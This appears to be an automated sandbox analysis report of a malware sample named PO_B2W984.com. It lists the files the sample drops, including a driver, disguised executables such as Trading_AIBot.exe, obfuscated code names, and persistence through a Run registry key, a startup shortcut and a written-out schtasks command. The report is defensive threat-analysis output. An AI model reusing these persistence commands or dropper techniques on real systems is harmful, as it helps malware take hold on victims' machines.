Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DDD520 push 02DDD54Ch; ret	0_2_02DDD544
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DDCB5B push 02DDCCF2h; ret	0_2_02DDCCEA
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DDCB6C push 02DDCCF2h; ret	0_2_02DDCCEA
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DFBB64 push 02DFBD8Ch; ret	0_2_02DFBD84
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE68C8 push 02DE6973h; ret	0_2_02DE696B
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE68C6 push 02DE6973h; ret	0_2_02DE696B
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE788C push 02DE7909h; ret	0_2_02DE7901
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DEA918 push 02DEA950h; ret	0_2_02DEA948
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DEA917 push 02DEA950h; ret	0_2_02DEA948
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE8910 push 02DE8948h; ret	0_2_02DE8940
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE890E push 02DE8948h; ret	0_2_02DE8940
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE2EE0 push 02DE2F56h; ret	0_2_02DE2F4E
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE2FEC push 02DE3039h; ret	0_2_02DE3031
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE2FEB push 02DE3039h; ret	0_2_02DE3031
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE5DFC push ecx; mov dword ptr [esp], edx	0_2_02DE5DFE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_0041C40C push cs; iretd	4_1_0041C4E2
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00423149 push eax; ret	4_1_00423179
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_0041C50E push cs; iretd	4_1_0041C4E2
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_004231C8 push eax; ret	4_1_00423179

Source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'DEa0csVGIAPRG', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'DEa0csVGIAPRG', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'DEa0csVGIAPRG', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.2.rpkhzpuO.pif.2ead3d90.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'DEa0csVGIAPRG', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 15.2.rpkhzpuO.pif.304e0000.11.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'DEa0csVGIAPRG', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\PO_B2W984.com	File created: C:\Users\Public\Libraries\Oupzhkpr.PIF			Jump to dropped file
Source: C:\Users\user\Desktop\PO_B2W984.com	File created: C:\Users\Public\Libraries\rpkhzpuO.pif			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\PO_B2W984.com	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	File created: C:\Windows \SysWOW64\truesight.sys
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	File created: C:\Windows \SysWOW64\truesight.sys

Source: C:\Users\user\Desktop\PO_B2W984.com	File created: C:\Users\Public\Libraries\Oupzhkpr.PIF	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	File created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	File created: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	File created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Jump to dropped file
Source: C:\Users\user\Desktop\PO_B2W984.com	File created: C:\Users\Public\Libraries\rpkhzpuO.pif	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Jump to behavior

Source: C:\Users\user\Desktop\PO_B2W984.com	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Oupzhkpr			Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Oupzhkpr			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DEA954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02DEA954

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
